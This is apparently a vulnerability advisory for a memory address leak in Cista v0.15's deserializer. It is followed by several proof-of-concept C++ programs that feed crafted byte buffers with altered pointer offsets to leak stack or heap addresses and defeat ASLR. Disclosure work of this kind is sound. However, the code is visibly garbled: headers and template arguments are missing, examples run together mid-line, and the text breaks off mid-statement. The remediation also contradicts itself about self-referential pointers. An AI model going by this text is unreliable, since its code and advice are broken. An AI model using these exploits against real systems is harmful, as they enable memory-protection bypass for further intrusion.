# Vulnerability Summary: Cista v0.15 Deserialization Memory Address Leak ## Vulnerability Overview In Cista v0.15 and earlier versions, there is an insecure deserialization issue. When deserializing untrusted input, due to insufficient checks in the `cista::raw` serializer, memory address leakage may occur. An attacker can modify offsets (e.g., from -8 to 0) to make pointers point to themselves, thereby leaking their own address during printing. ## Impact Scope - **Affected Versions**: Cista v0.15 and below - **Potential Risks**: - Leakage of stack or heap addresses - Possible bypass of security protections such as ASLR and PIE - Opens the door for subsequent attacks ## Remediation 1. **Maintain a hash map of “seen” addresses**: - Prevent `unique_ptrs` from referencing the same memory twice - Detect type confusion (each region should be interpreted as only one type) - Note: This strategy may be ineffective for containers (e.g., vector), as they use two u64s to represent buffer size and capacity 2. **Avoid self-referential pointers**: - Use self-referential pointers with offset=0 ## POC Code ### Example 1: Pointer pointing to itself ```cpp // Minimal Reproducible Example 1 - data::ptr points to self #include #include #include #include #include "cista.h" namespace data = cista::raw; struct Number { uint64_t x; }; struct A { cista::indexed a; data::ptr pa; }; int main(int argc, char** argv) { std::vector buf; { A data; data.a.x = 42; data.pa = &data.a; buf = cista::serialize(data); std::cout x i.e. offset=0. buf = std::vector{ 0x2a,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, }; std::cout (buf); if (!deserialized) { std::cout a.x pa->x #include #include #include #include "cista.h" namespace data = cista::raw; struct Number { uint64_t x; }; struct A { cista::indexed a; data::indexed_vector v; data::ptr pa; }; int main(int argc, char** argv) { std::vector buf; { A data; data.a.x = 42; data.v = data::indexed_vector({1, 2, 3}); data.pa = &data.a; buf = cista::serialize(data); std::cout x { 0x2a,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00, // a, v 0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, // v.size, v.cap 0x08,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00, // pa, v[0] 0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00, // v[1], v[2] }; auto deserialized = cista::deserialize(buf); if (!deserialized) { std::cout a.x v.size() pa->x #include #include #include #include "cista.h" namespace data = cista::raw; struct A { data::vector v; }; int main(int argc, char** argv) { std::vector buf; { A data; data.v = data::vector({1, 2, 3}); buf = cista::serialize(cista::mode::DEEP_CHECK | cista::mode::WITH_INTEGRITY)(data); std::cout { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00, // v.ptr, v.size (original) 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00, // v.ptr, v.size 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00, }; auto deserialized = cista::deserialize(buf); if (!deserialized) { std::cout v.size() v.size(); i++) { std::cout v[i] #include #include #include #include "cista.h" namespace data = cista::raw; struct Number { uint64_t x; }; struct A { data::indexed_vector v; data::unique_ptr pa; }; int main(int argc, char** argv) { std::vector buf; { A data; data.v = data::indexed_vector({1, 2, 3}); data.pa = data::make_unique(0x42); buf = cista::serialize(data); std::cout x { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00, // v.ptr, v.size 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x08,0xff,0xff,0xff,0xff,0xff,0xff,0xff, // [pad], pa 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00, // [pad], v[0] 0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00, // v[1], v[2] 0x42,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, // "pa" }; auto deserialized = cista::deserialize(buf); if (!deserialized) { std::cout v.size() pa->x #include #include #include #include "cista.h" namespace data = cista::raw; struct A { data::vector v; }; int main(int argc, char** argv) { std::vector buf; { A data; data.v = data::vector({1, 2, 3}); buf = cista::serialize(cista::mode::DEEP_CHECK | cista::mode::WITH_INTEGRITY)(data); std::cout << "v.size(): " << data.v.size() << std::endl; for (int i = 0; i < data.v.size(); i++) { std::cout << "v[" << i << "]: " << data.v[i] << std::endl; } } std::cout << "out:\n"; for (int i = 0; i < buf.size(); i++) { for (int j = 0; j < 16 && i < buf.size(); i++, j++) { std::cout << "0x" << std::hex << std::setw(2) << std::setfill('0') << (uint16_t)buf[i] << ((i+1) % 8 ? " " : " "); } std::cout << std ```